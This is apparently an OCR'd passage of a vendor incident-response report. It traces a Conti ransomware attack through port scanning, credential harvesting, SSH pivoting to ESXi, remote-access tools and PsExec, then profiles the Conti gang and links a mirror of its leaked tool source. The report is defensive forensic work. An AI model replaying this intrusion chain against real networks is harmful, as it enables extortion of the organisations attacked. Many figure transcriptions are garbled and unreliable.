Center in mid-March 2022.

That was executed by using a second domain controller: DC1-APDCO1, which was
aninternal DC used by the staff.

The earliest sign of malicious activity on this system goes back to March 27,
2022, with the appearance of the advanced_port_scanner.exe tool under:

C:\Users\i.elidio.<Redacted>.000\AppData\Local.

CASE

© 2023 NetWitness LLC All rights reserved.
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Records of the tool were unearthed from MFT analysis:

Name Size Creation Time (SFN) ~ Modification Time (SSI) _Full Path

advanced_port_scanner_console.exe 595,7 kB 27/03/202209.23:28.199  27/03/202209:23:26.199 CAU lid 1 Port Scanner 2\advanced_port_scanner_console
advanced_port_seanner_bg_bg.am 279k8 27/03/202209.23:28199  27/03/202209:23:28.199  C:\Users\i. eldio tall Port Stanner 2\advanced_port_seanner_bg_bg.g
advanced_port_scanner_ar_sa.qm 257k 27/03/202209.23:26.199  27/03/202209:23:28.199  C:\Users\i. elcio. M. Port Scanner 2\advanced_port_scanner_ar_sa.q18
{advanced_port_scanner.exe R 27/03/202209:23:28.184  27/03/202209:23:28.199 C:\Users\i.elidi Port Scanner 2\advanced_port
SYNCHIST T6bytes 27/03/202209:16:16.002  27/03/2022 09:16:16.092 CAU Jidio. I, HIST

beache22.bme 3,92 MB 24/03/2022 07:15:26263____ 24/03/2022 07:24:25.625 _C:\Users\i eldio. I, 000\AppData\Local\MicrosoftTerminal S erver Client\Cache\bcache22.bmc

FIGURE 27: EVIDENCE OF ADVANCED_PORT_SCANNER.EXE ON THE SYSTEM

NWIR found evidence of connections made by i.elidio’s account through Remote Desktop
to connect to this system from AP1-IISCONFOO (10.0.1.21). The account is a member of the
domain admin group.

(B Inferrmatcn 2770372002 O W13 TermunalServies-LocalSessonMan._.

Event 21, TermnalSeriices-LocalSesnonManager
General  Dietads

[

Pemote Desktop Serces Sesson logen succeeded

v —ic]

fsesicn 10:36

Source Network Mu

FIGURE 28: RDP LOGIN FROM L.ELIDIO ON THE SYSTEM

By analyzing the NTUSER.DAT file of the account and evidence found of execution of the
advanced_port_scanner.exe tool from the “j.elidio” account, it was confirmed as one of the
accounts used by the attacker.

=27 07:23:032
ers\i.glidic . I, 000\Downloads\Advanced Port Scanner 2.5‘35694.1;9_]1‘.}

14E77-02E7-4ESD-B744-2EBLAES198B7 ) \WindowsPowerShell\vl.O\powerashell . axe (1)
07=-05 10:06:132

14E77-02E7-4E5D-B744-2EBLAES198B7 ) \papaint .exe (14)
ACL14E77=-02E7-4E5D-B744-2EBLAES198B7 ) \galc.exe (8)

Value names with no time stamps:
VEME_CTLCUACOUNT : gEOX
Microsofr.Windows.Shell.RunDialog
Microsoft.AutoGenerated. (923DD477-5846-686B-A659-0FCCD73851A8)
Microsoft.Windows.Explorer
Hiciogofts Windows RemoteDeskeon

FIGURE 29: EVIDENCE OF EXECUTION OF ADVANCE_PORT_SCANNER FROM L.ELIDIO
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The backup server was also targeted by credential harvesting activity through
the “usual” Isass.dll setup this time was installed on March 28, 2022:

e e Creation Time ($FN) v Modfication Time (359 Ful Path

ni.an 24008 2803/2022 064552647 28032002 0645:54.331 CUsery -AppO.ll Localh Temg'MozilaBackgreundTask
Jtasale.bin 2848 28/03/2022 064552400 030472022 164402502 CProgranDate' Modilla-10edeecl- 1241 41775044 ¢ S5de8d 1103
KRG ounSupdate maz 169 2648 J8/03/2002 0645:52.381 03042022 16:46:01.170  C/ProgranData MoDilla- 15edeecs- 124141770358 -¢504e 81103
K856 _tsm 24018 28/03/2022 0630:04TTY 280372022 083053549  C\Program Filer Network Aovisor 12.4.0:00t\atabases Dase 1€
L6535 _tsm M08 RO 06300459 0302 EINERNG C\Program FierNetwork Advisor 12.4.0.data\databaser base 1§
OHSATY_fsem Mu0i8 0022022 063004597 B012022 (83153864 C\Program Filer\Network Advisor 12.4.0\d0ts\databaser \base' 16
asdil 85518 2803/2022 0627:28.485 13032022 07:17:22.000  C\Windows\System32\Jsass. &l l

AR TSETHA 231N 734000 4502 DI04 H6-.. 3478 2803202 V62628072 A0J2012 W26:23.073  CWsery'mthumer AppOats\ Rosmng MoDila f wef or' Profiles'ac
RTINS 40432601 -9l A3k B O 23 03/3000 (82800009 L Msery mthemer, Modila Feefox Protiles

FIGURE 30: EVIDENCE OF LSASS.DLL ON BACKUPO1-

A891CEIC20N2DMESOB01 16KFTH9ASTCDS... 14548 200372022 03:26:24.823 20/00/2022 032624824 CUSersm.thumenAppONSLocah Moila Fief o Profiles\QdxdSsdw.defaut. 1.
FHICTOELASB IFASEE0A35T00765360869249195 9.3k8 29/03/2022 03:26:24.229 29032002 03:26:24230  CWiers . thumenADPOMA\LOCaN MDY Firef ox' Profiles\ QIS5 2w.defau-1 ..
| SR 13k8 29/03/2022 03:25:56.418 08042022 221557.529 _ C:\Windows\Temp\tmpQWER.tp |

26108122 fsm 24048 20/03/2022 02 3:04.017 20/03/2002 043511507 C:\Program Files\Network Advisor 12.4.0\05t\33tabases\base\ 1638626108122 ..

26106081.0 24048 290320 20332022 0433
FIGURE 31: EVIDENCE OF TMPQWER.TMP ON BACKUPO1-

The reason for credential harvesting on the backup server was probably related to the attempt
to collect service accounts and their passwords because the activity carried out against the
Exchange was not offering these types of accounts.

Ransomware Against the Virtual Environment

To confirm the service account hypothesis, we should take into account that from April 2, the attacker
had been seen accessing ESXi servers via SSH sessions.

During the investigation, we successfully identified these records inside WKO-PRTGOO, a PRTG!
server running in the Munich Data Center and managed by network administrators:

PuTTY
Software\SimonTatham\ PuTTY\SahHoatKeys
LastWrite Time 2022-04-02 03:05:47Z

:10.7.250.51 -> O0x10001,0xb8l4703e366b8E5d88db388lc0ad
:10.99.250.55 => 0x10001,0x9d40£90589788TaZba228dEE1476|
:10.99.250.54 => 0x10001,0xa215e£512b5%fadfe0575a03d71E
:10.99.250.53 -> 0x10001,0xbaBae943allf43el4286e%bLéda)
:10.959.250.52 -> 0x10001,0xbc3T74£5e0312d6cdTc5288e£355)
:10.99.250.51 => Ox10001,0xf9667785%de249£1dd5255e52bc)
110.7.250.77 => 0x10001,0x%1la9%6fefdaflifceib23T4TESaéa)
t10.7.250.76 =>» 0Ox10001,0xcef6f55eT1017%ae004blbEBE432)
:10.7.250.€1 => Ox10001,0xadbl0e373cicbed835es5L25a65%a2]
2:10.7.250.60 -> 0x10001,0xde284550e220cE838LaEeT003db30)
:10.7.250.59% => 0x10001,0xac5£0455e5c393683b55%51eb3e7y
rsa2@22:10.7.250.58 > 0x10001.0xbf03b2L0£27705b3bdeT 7021 35d0]

FIGURE 32: RECORDS OF SSH HOST KEYS RELATED TO ESXI SERVERS FOUND ON WK-OPRTGOO
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https://www.paessler.com/prtg

CASE

The Company confirmed the machine was not planned to do remote management of
ESXi servers, and the records we found were confirmed malicious.

Throughout the investigation of the PRTG system, we found evidence of RDP
connections by the attacker from BACKUP-O1 using the service account called
monitoring on April 01, 2022:

e Sze Creation Time (SFN) v Meafication Tme (359 Ful Path

n9.a0 24018 28/03/2022 06ASS2647 28032022 064554331 Cwsers) I ApoOata\Local Temp MoniaBackgrounaTask-£7CF 1 766110,
Jta.safe.bin 2818 28032022 06AS 2400 03042022 164402502 CProgramDaty MoDila-10edeecl. 12414177 5844-¢ 55408011035 wpdates 2 7C

KEGroundupdate ol 69 2618 TR032022 064552381 03042022 16:4601.170  C\ProgranDats Monila. 10edeecs. 124141772358« 5 e bd 11035 wpdaten £7C

WIE576 fsm 24018 28032022 06:30:04.771 28032022 (8315345  C'\Program Fier\Network Adwisor 12.4.0\data\databases base’ 16354 26058576
K053 tsm 14018 28032 06 I 459 0N 0IVENMS  CProgram Fier Network Adwisor 12.4.00data\databaser base 1638026058515
WONEATY fsm 4018 2002/2022 06:30:04.997 M0I2022 08353464 C\Program Filer\Network Advisor 12.4.004000\databaset Base\ 16385 26008479
sl 85518 2801/2022 062728485 13012022 07:17:22000  C\Windows\System3ZVsass. &l l

A ST 031117 0-400049)2-0004- 6. 378 8002022 062628072 28012002 (h2628.073  CUsery mthumer AppOats' Roaming Mosily feefor' Profiley g sdw.defau
A HIT3505058 S0 7b¢ 440 1 Gl AEM8 28033008 M&O&_& 803200 (L8800 cmumwwmmh«uh«mmcu«»

FIGURE 33: RDP ACCESS BY THE ATTACKER USING <REDACTED>\MONITORING ACCOUNT

Basically, without having direct access to the ESXi infrastructure from the domain controller
DC1-DC00001, the attacker moved laterally tothe PRTG server viabackup network (10.0.200.0/24),
installed RDPtools,and thenthe server as ajump point to access the virtual environment.

Engaging our NetWitness Endpoint, we found evidence of Atera and Splashtop remote management
tools, appearing on April 2 at 2:42:35 a.m.

Name Size Creation Tme (SFN) = Modification Time (S50 Full Fath

Freverlog.bt 1,23 MB 02/04/2022 024238139 02/04/2022 02:4%32581  CAWIndows\Temp!PreVerlog.at

Freverlag 58kB 02/04/2022 02.42-38.030 02/04/2022 02:43:32981 C:\Windows\Temp\PreVerlog

AterasetupLog.e 2018 KB 02/04/2022 0242:37.858 D2/04/2022 02:42:47.337  CWINdows Temp AteraSetupLog.e

Setuprd.msi 146 ME 02/04/2022 024237154 4 24237, C:Windows!\Temp! Setupssd.ms I

unpacclog G6k8 C2/04/2022 024237045 : C\Windows\Templunpack log

System. Management.dil 51,968 02/04/2022 12:42:35 607 dll
Mewtonsoftson.dil 5214 kB 02/04/2022 0242:35.576 0210472022 02: k Json.dil
Microsoft Wind2 TaskScheduler.dil I14KE 02/04/2022 024235576 020412022 02:43:17 A i Win22
Spla:htof Slr!lm«!‘ia e I 37,30 MB 02/04/2022 02.42-35.560 02/04/2022 02:
Microsoft Deployment Windowsinstaller. di 1784 kB 02/04/2022 02:42:35 458 021042022 02: ¥
AteraagentPackage Common.dil 418 02104/2022 024235 404 02/04/2022 02: \ Package.Common,dil
[Bgentpackagelipgradeagent. exe 43,4148 02/04/2022 024235404 02/04/2022 02:43:17 453 t

FIGURE 34: MFT EVIDENCE OF ATERA AND SPLASHTOP

NWIR also found evidence of AnyDesk being installed on the system during the same
timeframe, potentially indicating that it was installed through Atera.

Hame Size Creation Time [SFN) ~ Modification Time (S5  Full Path
Wi|3767368-FDD07C-F 15388 CH5FFODES).S L., Obytes 02042022 06:44: 24,562 02/04/2022 06/4+4:24.562  C:\WINGOWSMNStallerwix[A3787363-3F DD-407C-8FT9-483 CO5FFADE] ScneaserviceContig.mmi
AnyDesk Custom Client.Ink 2548 02/04/2022 06:44:24.546 02/04/2022 06:44: 24546 C:\Py Dat: i S o iDesk Custom Client.ink
AnyDesk Custom Client.ink L5kB 0210412022 06:44:24.546 02/04/2022 06:44: 24546 C:\ProgramData'h i i\Progr yDesk Custom Chient\AnyDesk Custom Client.ink
AnyDesk.ice 3E5ME 0210412022 06:44:24. 546 02/04/2022 06:44:24.546  CWindows\Installer[A3787368-3FDD-407C-BFT9-488CH5FFEDE4 AnyDeikico
AnyDesk-f45e5012_msiexe 365 ME 02/04/2022 06:dd: 24.531 28/03/2022 23,40:24.000 Ci\Progeam Files 36 AnyDeskf4Se5a12_mshAnyDeskfd5e5a12_msi.exe
SourceHarh[A3T87168-IFDD A0TC-8FT0-404COLFF. .. 10,068 02/04/2022 06:44124.437 02/04/2022 06 44: 24460 C\WIndows\InstallerSourceHash[AJT87168-1FDD 407 C-BFTO-40 COSFFODES)
ryDesk-Chd,ms TSIME 02/04/2022 044 16,327 02/04/2022 06144:24.375  C:\Windows\Temp\AmyDesk-Chlmsi [
deDD2E17DEL3T011325001 T9ce03401 16,0kE 02/04/2022 04345, 742 02/04/2022 06143:45.742  C:\ProgramData\Splashtop\Splathtop Remote Server,Credentialde002061TbEn3701132890F T9¢e03401
LastwindowedEventsPracecsed jron.pdvtifn 2 byter 02/04/2022 06:43:36.122 08/04/2022 06:36:17.207 Cr\Program Files\ATERA gent\Packagesiig B Pr

360 has PPy PR TR T ABMAANI3 08 ADIE 1840

FIGURE 35: MFT EVIDENCE OF ANYDESK
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CASE

Analysis conducted on the Terminal Services event logs indicate that the attacker accessed the
system through RDP on April 2, 2022 from DC1-DC0O0001 (10.0.250.1) using the m.turner
account.

/0472022 02-37:36 TermnalSenacei-LocalSerucalMan..

Evertt 21, TermnalServaces- LocalSessonManager

General  Details

[Remote Desktop Services: Session kogon succeeded:

]m«:
]Sttmﬂ 107

1Sowce Network Address:{10.0.250.1

FIGURE 36: RDP CONNECTION FROM THE ATTACKER USING M.TURNER ACCOUNT

Entries from the NTUSER.DAT file of the m.turner account confirmed that the attacker
downloaded PuTTY and used it to connect to several systems through SSH.

Name Size Creation Time [SFN) ¥ Modification Time (S5}  Full Path

PSFIP.Ink 09kB 02/04/2022 21:38:55.632 02/04/2022 0238:55.647 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PuTTY [64-bit] PSFTP.Ink
PuTTY.Ink 10kB 02/04/2022 21:38:55.632 02/04/2022 02:38:55.632  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PuTTY (64-bit]\ PuTTY.Ink
Pageant.ink 09kB 02/04/2022 21:38:35.632 02/04/2022 02:38:55.632  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PuTTY (64-bit\Pageant.Ink
installericon. exe 112kB 02/04/2022 21:38:55.616 02/04/2022 02:38:55.616 C:\Windows\installer\[1E0D5683-40F 1 -4E46-ABEB-EAACEEBSCDAT\installericon.exe
puttygen.exe 465,2 kB 02/04/2022 21:38:55.616 10/07/2021 09:4%:56.000 C:\Program Files\PuTTY\puttygen.exe
iputty.exe P 9257kB 02/04/2022 21:38:55.601 10/07/2021 09:4%:50.000 C:\Program Files\PuTTY\puty.exe

psftp.exe 7332kB 02/04/2022 21:38:55.601 10/07/2021 09:4%:46.000 C:\Program Files\PuTTY\psftp.exe

pscp.exe T167kB 02/04/2022 21:38:55.585 10/07/2021 02:46:38.000 C:\Program Files\PuTTV\pscp.exe

plink.exe T147kB 02/04/2022 21:38:55.585 10/07/2021 09:4%:34.000 C:\Program Files\PuTT¥\plink.exe

FIGURE 37: MFT EVIDENCE OF PUTTY.EXE
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The system was then used to download and distribute the ransomware.

Evidence unearthed from the Splashtop logs suggests that the attacker downloaded
and executed the ransomware by using the remote access tool on April 6, 2022,
as illustrated in the following figure:

{1 Information 0 2 Splashtop- Splashop Streamer-Re
() Information 0E/D4/2022 0% 16:30 Splashtop-Splachtop Streamer-fe
Evertt 1101, Splanbiop- Splashtep Streamaer-Remote Sesnion

General  Detads

The description for Event ID 1101 from sowece Splashtop-Splathtop Streamer-Remote Sestson cannot be found. Either the component that rases the ¢
o codrupted. You can sritall o iepas the Component on the kol (omguter

¥ the event cngnated on ancther computer, the displey information had to be 1aved with the event
The following information was ncluded with the event
RITIET48

3502

coen_slpha_sncrypl_spp.ece I
SKT0P - COPODF

N/A

lag0-pe1g0d

FIGURE 38: RANSOMWARE EXECUTABLE DOWNLOADED THROUGH SPLASHTOP

This is confirmed by the MFT where the ransomware executable can be found in the path:

sers\m.turner\Downloads

Additional evidence confirmed the hypothesis: We found two files potentially related
to the ransomware executable, 64app and 32app, transferred using the Splashtop
remote access tool and dropped in the same folder in the same time frame.

L inforrmation

Evert 1101, Splashtop- Spdathtop Stresmer-Remcte Session
General Detads

‘I'h-emhﬁnc.-n.!c- Evert 1D 1901 feom W(e'Mop-Ww Saresmes - Eemote Sﬁm cannot be found. Lther the COmponent that rases The event =
|n corrugted. Veu can install or repan the component on the kecal computer.

I‘Mnmdrwtdm anothed COMpUter, the despley nformaton Rad 1o be Sived with the oveni
The foliowing informrution wast included with the event

B23TSET4E
3.5.02

D€ ST O - CIKPOOF

FIGURE 39: RANSOMWARE-RELATED ARTIFACT 32APP TRANSFERRED THROUGH SPLASHTOP
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D ind cemation r2022 03:06:0 Splashtop-Splashtop Streamer-Ffe
Evernt 1001, Splasheop-Splashep Streamer-Remete Seisean

General Dnails

The descriptson for Event ID 1101 from source Splashep- Splashtep Streamer- Remote Sesssen canmot be lound. Ether the compenent that risses the event = not ts
o COMmupted You Com Aslall o7 regasr The COMpPonent &n the oCal COmpter.

¥ the event (ngenated On ANOEREY COMpRter, The Jupley and Comumon had 10 be saved with the event.
The folioang idormaton was inchded weh the event

92ITSETER

FIGURE 40: RANSOMWARE-RELATED ARTIFACT 64APP TRANSFERRED THROUGH SPLASHTOP

MFT analysis indicates that the files are found in the directory:

C ers\m.turner\Documents

Unfortunately, we were unable to determine the content because by detonating the ransomware
against the system, files were encrypted and beyond repair at the time of the investigation.

[ Home Size Creation Time [$FH) ~  Madification Time ($51)  Pull Path

RECOVER-pvtifn-FILES. tat 15kB 06/04/2022 04:41:01.33% DEM4/2022 044101341 CABIT0153¢31151d0a5806ITOT 1052501 2\ 3082\ RECOVER -pvtifin-FILES.txt
RECOVER-p&vtifn-FILES. txt 15kB 06/04/2022 04:41:01.267 06/04/2022 (4:41:01.269 C:\3fT0159¢91151d0a5806T0710523012\2070RECOVER-pawtifin-FILES tut
RECOVER-p&vtifn-FILES.tt 15kB 06/04/2022 04:41:01.231 06/04/2022 04:41:01,232  CA3FT0155¢91 1510009806707 1052301211033\ RECOVER -pantifin-FILES.bt
checkpoints-DelTaols. psm1.paviitn 4 bytes 06/04/2022 04:41:01.132 06/04/2022 04:41:02.026 C:ADeII_Of ints-DellTools. psm. pavtifn
RECOVER-putifn-FILESbxt 1,5k8 06/04/2022 04:41:01.099 06/04/2022 04:41:01.103  CA\Dell_OEMPSMadule\RECOVER.pdvtifn FILES bt

RECOVER-pdutifn FILES txt 1,58 06/04/2022 04:41:00.930 06/04/2022 04:41:00.935  C:\Pragram Files (GE)\WinSCPRECOVER. pdutif.FILES. txt

RECOVER-pavtifn-FILES.txt 1,5 k8 06/04/2022 04:41:00.824 06/04/2022 04:41:00.825  C:\Program Files) _exporterREC P WES.txt
RECOVER-péwtifn-FILES.tet 15 kB 06/04,/2022 04:41:00.630 04:41:00.690 C. Y OVER-pdvtifn-FILES.but.

chadkpoints.b_pb.gif. pavitn 4 bytes 06/04/2022 0&:41:00.536 06/04/2022 015:36:17.200  C\Deell_OEM\checkpoints.b,_pb.gif pavtifn
RECOVER-paviifnFILES.bet 1L5kB 06/04/2022 0 00.388 06042022 04:41:00.385  C:\Dell_ OEMRECOVER.paviifn-FILES. bt

RECOVER-pdvtifn FILES bt 15kB 06:04/2022 0:41:00.200 05/04/2022 04:471:00.209  C:\3f70150e91151d0a9806£70710523012\RECOVER- pvtifn-FILES.txt
RECOVER-p&vtifn-FILES.trt L5 kB 06:04/2022 0:41:00.130 08/04/2022 (4:41:00.131  CARECOVER-pavtifn.FILES. bt

14,25 MB D6/04/2022 04:33:16.959 23106000 CW L D: dby _com_alpha_encrypt_app.exe
S2app.pavtifn ’ B37 ME O6/04/2022 04:08:56.930 06/04/2022 (4:45:57.050 CUsers\m turneriDocuments'32app. pvtifn

Eapp.padtifn 8,30 ME 06:0:4/2022 0:00:02.750 06/04/2022 (4:41:29.282  Csers\m turner\Documents\S4app. p3vtifn

FIGURE 41: MFT EVIDENCE OF RANSOMWARE ARTIFACTS

The final evidence of ransomware executable on the system was the file called:
bet%ja_com_alpha_encrypt_app.exe found in the path:

C:\ProgramData\USO

And a sample of PsExec called psexec.exe was found in the usual temp folder:

C:\Windows\Temp
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CASE

As illustrated in the following figure:

Name Size Creation Time (SFN) v M Full Path

conlig_exec_params 53kB 4 C:\Program Files\Network Advisor 12.4.0\data\databases\globalconfig_exec_params
whxtra_04062022_050928.wbt 2,00 MB C\Windows\Temp\whatra_04062022_050928.wbt

PSEXESVC.exe 374,9kB Windows\PSEXESVC.exe

psexecexe 8154 kB C\Windows\Temp)\psexec.exe

[ betsja_com alpha_encrypt app.ece | 1425MB CWindows\betSja_com_alpha_encrypt_app.exe
betdja_com_alpha_encrypt_app.exe 14,25 MB 7 C:\ProgramData\USO\betSja_com_alpha_encrypt_app.exe

Jjusched.log 14,2 kB 06/04/2022 04:47:06.758 06042022 04:52:12.037 _ C:\Users\m.thumenAppData\LocalTemp\Sjusched.og

FIGURE 42: EVIDENCE OF RANSOMWARE EXECUTABLE ON THE SYSTEM

Confirmation of PsExec usage was recovered from the NTUSER.DAT:

SysInternals

Software\Syslnternals

LastWrite Time 2022-84-06 03:57:217

Haee [2022-04-06 03:57:217]
EulaAccepted: 1

FIGURE 43: EVIDENCE OF PSEXEC USAGE
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NWIR resumed analysis of this system and continued to find additional evidence of
attacker activity init. A review of the NTUSER.DAT file for user m.turner revealed
several SSH and RDP connections from this system. The attacker performed the
following SSH connections from this system:

PuTTY

rsa2@22:10.0.250.254

rsa2@22:10.0.250.225
rsa2@22:10.0.250.226
rsa2@22:10.0.250.133
rsa2@22:10.0.250.175
rsa2@22:10.7.250.133
r=a2@22:10.7.250.134
r=sa2@22:10.0.250,.134

rsa2@22:195.149,222.1
rsa2@22:195.149.222,.115

->
14

->
->
-
-
=2
->
->

Software\SimonTatham\PuTTY\SshHostKeys
LastWrite Time 2022-04-06 00:07:512

0x10001,0xb87ab5abb31051b4009£0%cccaee63d012143fb863a364
=> 0x10001,0xdf92479d%ec61al35008b0037b08287c67%cabfbllz
-> 0x10001,0xc59bb8950792f976614680ef83ddTbddec07d380a528
0x23,0xae281lco7ce8le3284a45£247283d1202039140768db53Tbta
0x23,0xf41l4ble27eb8249c9%6e01325f6Lf1chblf3dfT97a041df4623¢
0x23, Oxbd505df398657313c82c8df8388642%a4f200f67£76bf459237
0x23, 0xded850836b4045cc00c3ecdT74abT73£41405e770c9£4026132
0x10001,0xc6609£075876086£5£66009a5093bcdb080£fc4106c0a%t
0x10001, 0xacbT£c208c0d6T7T19854031966ckhba266400c20578d60az
0x23, 0xd24b03b282e58eeea2db051bT764726bcabfoaed8T06dala e

rsa2@22:192.168.32.254 -> 0x10001,0xb54£d799faéblbb2871c2b8Tb47046e£4283€bbbbads
rsa2@22:10.0.250.29 -> 0x10001,0xabeSca4a22679b908a70672eccf553d3ea92%ec590bETE:

FIGURE 44: ATTACKER SSH CONNECTIONS FROM BACKUPO1-

The attacker also performed numerous RDP connections from this system. These systems are

shown below:

MO - 10.0.250.12

HO

LastWrite time:
UsernameHinc: HEEEN\®.TUIner

LastWrite time:
N . curners

LastWrite time: 2022-03-28
I\ . curner

NO - GOO-dc00 LastWrice time: 2022-03-30 01:43:552
UsernameHinc: I =.curner

NO - TS5-03.goldbet.prod LastWNrite time: 2022-03-28
UsernameHinc: I \®.curner

FIGURE 45: ATTACKER ACCESSED SYSTEMS WITH NO ECAT AGENT
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In processing the m.turner bitmap cache files, we gained additional insight into the
attacker’s activity.

The bitmap cache files are pieces of the screen that Windows caches as part of the
RDP functionality. Some of the most interesting results are shown in the figures below.

» New Volume (E:) » Analysis » Backup-01 » results

. 5:47 AM
Computer View De stails

CacheD000.bin 0  Cache0000.bin 0  Cache0000.bin 0  Cachel000.bin 0  Cache0000.bin 0  CacheD000.bin 0  Cache0000.bin_0
847.bmp 848.bmp 849.bmp 850.bmp 851.bmp 852.bmp 853.bmp

jishet IPA 3 < @ w e t x | =] # 23-gnap00 x| €L

178. 137.61.58 - PuTTY
I I I I I I
Cache0000.bin_ 0  |Cache00D0.bin_0 Cache0000.bin_0 CacheD000.bin_0 Cache0000.bin_0 Cache0000.bin_( Cachel000.bin_0
857.bmp 858.bmp 859.bmp 260.bmp 261.bmp 862.bmp 263.bmp

FIGURE 46: PUTTY USAGE BY THE ATTACKER

C > NewVolume (E:) » Analysis > Backup-01 > results

w .

Cache0000.bin_1  CacheD000.bin_1  Cache0000.bin_1  Cache0000.bin 2  Cache0000.bin_2  Cache0000.bin.2  Cache0000.bin 2  Cache0000.bin 2  Cache0000.bin2  CacheD000.bin_2
997.bmp 998.bmp 999.bmp 000.bmp 001.bmp 002.bmp 003.bmp 004.bmp 005.bmp 006.omp

=
. - . . . . . . it

Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2 Cache0000.bin_2
007.bmp 008.bmp 009.bmp 010.bmp 011.bmp 012.bmp 013.bmp 014.bmp 015.bmp 016.bmp

EEEEE L ____ |

Cache0000.bin_2 Cach:OOOO bin_2 Ca(heOOOD bin_2 Ca:h:DOOO bin_2 CacheOOOO bin_2 Cach=0000 bin_2 Cache0000.bin_2  Cache0000.bin_2 Cache0000.bin_2  Cache0000.bin_2
. 0i7.bmp 023.bmp. 024bmp 025.bmp. 026.mp......

FIGURE 47: EVIDENCE OF RANSOMWARE EXECUTION ON ESXI SERVERS
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CASE

Untouched Systems

During the attack, the actor kept three systems untouched, in particular the Exchange server.
This is probably due to the goal of keeping an eye on the target. In fact, the victim’'s email
system was still working despite the encryption of the remaining systems.

TORONTO
Data Center

DC3-SPORS2

........

DC1-EXCHOO

MUNICH
Data Center

FIGURE 48: MACHINES LEFT UNTOUCHED BY THE ATTACKER

Signs of these activities were reported by the NetWitness network as illustrated by Figure 48.

O (dormain = splashicg.com atera.cen 8.

2022 | % 06:01:00(+00:00) Custom 02 % | 223559 (4

# Visua

Service Typejzeriice; (1 va LiC']p

o+
DNS(1.213) - HTTP (74)

Domainzemain) (3values) B
shiopocom (1042) - atera.com(231)

- ampoese.com (14

source IP Aderess iz = (3 values) &

A

10.0.250.13 (757) B 10.7.0.101 (334) - 192.163.70.61 (1)

FIGURE 49: SIGNS OF ATTACKER ACCESS TO THE MACHINES LEFT UNTOUCHED
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Conti Ransomware
Contiis aransomware that has been observed since early 2020.

The software uses its own implementation of AES-256, which uses
up to 32 individual logical threads, making it much faster than most
ransomware.

The gang behind Conti is known as Wizard Spider and is based in Saint
Petersburg, Russia. It has operatedasite fromwhichit leaked documents
stolen from victims of ransomware since 2020. The gang is known for its
aggressive tactics and large-scale attacks against a wide range of public
and private organizations.

The same gang has operated the Ryuk ransomware.

The leak

[ ]
went public,
At the beginning of the Ukrainian conflict, the gang publicly announced

[ ]
support to the Russian side, and a few days later on February 27, 2022, pu bl lShed

a leak emerged about the gang activities from an individual with insight °

into the infrastructure and activities, beginning with internal chat Vla a

messages and including source code of some of the attacker tools. °
Twitter

account

named
@ContilLeaks

The leak went public, published via a Twitter account:
https://twitter.com/Contil eaks

*https://flashpoint.io/blog/history-of-conti-ransomware/
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https://twitter.com/ContiLeaks
https://twitter.com/ContiLeaks
https://flashpoint.io/blog/history-of-conti-ransomware/

conti leaks
40 Tweet

possibility to cashout!

Q 1 156 Q a2 iht

conti leaks @ContiLeaks - 19 mar 2022

also you should have normal translation from hackers slang to english, then
you will have more data to make analysis! there are a lot of between lines

Q T n Q 66 ihi X

conti leaks @ContiLeaks - 19 mar 2022

about pony data back them 2016, there are information when source code
of dyre was shared through yandex disk. they infected themselves, and
there are their datal try to do analytics job and investigate that!

O 11 s Q 38 ihi i

conti leaks @ContiLeaks - 19 mar 2022

i'm happy that security researchers united and investigate of logs! that is
real work not just like "selling incompatible products to make money"”

Q1 7 19 Q 94 il X

. conti leaks @ContiLeaks - 19 mar 2022
S Nobporo paxky, MK 3 YKPAIHI! to recorderfuture - i'm not affiliate of
conti, i'm just boring security researcher .

Q 2 T 13 = ihi

The original leak links are no longer available, but vx-underground has a copy of the entire
trove of the Conti leak: https://sharevx-underground.org/Conti/

This breach led to the eventual shutdown of the Conti ransomware brand in June 2022,
though it's believed members of the gang have quietly moved into other ransomware
operations, including Hive, Royal, and Black Basta.

At their peak in the middle of 2021, the main Conti team consisted of 62 people, but the
number of members fluctuates over time which necessitates constant recruitment from
cybercriminal communities and local job posts. One remarkable aspect that the leaks showed
is that Conti operated like a software development company; this is common to other
ransomware gangs, such as REvil and DoppelPaymer we investigated previously.

The ransomware phenomenon generated in the last four years confirms this “software
company” model: The cybercriminal gangs extend beyond the typical size of a traditional
gang that forced the structure to introduce a stronger hierarchy and a set of intermediate
figures. This could be compared to executives of a traditional company to keep pace with the
“business” growth and the number of tasks that should be addressed to manage such large
numbers of victims.
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From the perspective of the Conti attack techniques, the figure below is a summary
of the most common actions adopted by the actor:

Resource Privilege
n

Reconnaissance  Development Initial Access  Execution Persistence  Escalatio

Credential Lateral Command and
Defense Evasion Access
% s

Movement  Collection Control
s =

B €%

ik

FIGURE 50: MITRE ATT&CK MATRIX FOR CONTI

The list shows a significant set of different techniques and tools used by the actor,
which increased in 2021 when the group was under the spotlight of the cybersecurity
world by attacking big public and private companies, especially in the U.S.

However, the general progression of a Conti attack is very similar to the one observed
for other ransomware gangs:

Initial Exploitation Access Stage Encryption Stage Extortion Stage

| spear Phishing | Trojans/Backdoors | Data extittration " | communication with the victim

| pirect Exploitation | credential Harvesting | Data encryption | Leak website

Data deletion (backups and

| Purchase access from affiliates | Scanning evidences)

| Lateral movements

FIGURE 51: TYPICAL PROGRESSION FOR RANSOMWARE ATTACKS
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CASE
Online Casino

This case targeted a group operating in the online casino sector (Company) with two
data centers located in Australia and Hong Kong. The Company is mainly focused on the
Asian-Pacific market with small points of presence in South Africa, UK, and U.S.

From the cybersecurity perspective, the Company at the time of the breach in late 2021
was mainly managed by a global MSSP with the support of local providers.

Similarly to what we saw in the first case, privacy of online transactions is paramount,
and the Company applied strong controls upon online services in terms of infrastructural
security and the development of secure transaction systems.

However, they left several weaknesses in their cybersecurity ecosystem unguarded,
resulting in a targeted attack from affiliates of the same Conti ransomware gang
discussed in the first case.

During our investigation, we identified a number of critical vulnerabilities:
1. Total lack of network visibility
2. Nocentralized SIEM

3. Absence of a behavioral-based solution to inspect internal staff activities
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The following figure illustrates some additional problems, including a significant
number of “enablers of compromise” for this Company:

Lack of an{aenamr
at user level
for internal staff

|_ Lack of proper
Dplan for ICT
incidents

Limited investigalive
- and reactive
capabilifies

Lols of enablers of compromise.. ¥ N ETW I T N E SS

FIGURE 52: SUMMARY OF WEAKNESSES IN THE CYBERSECURITY PRACTICE OF ONLINE CASINO

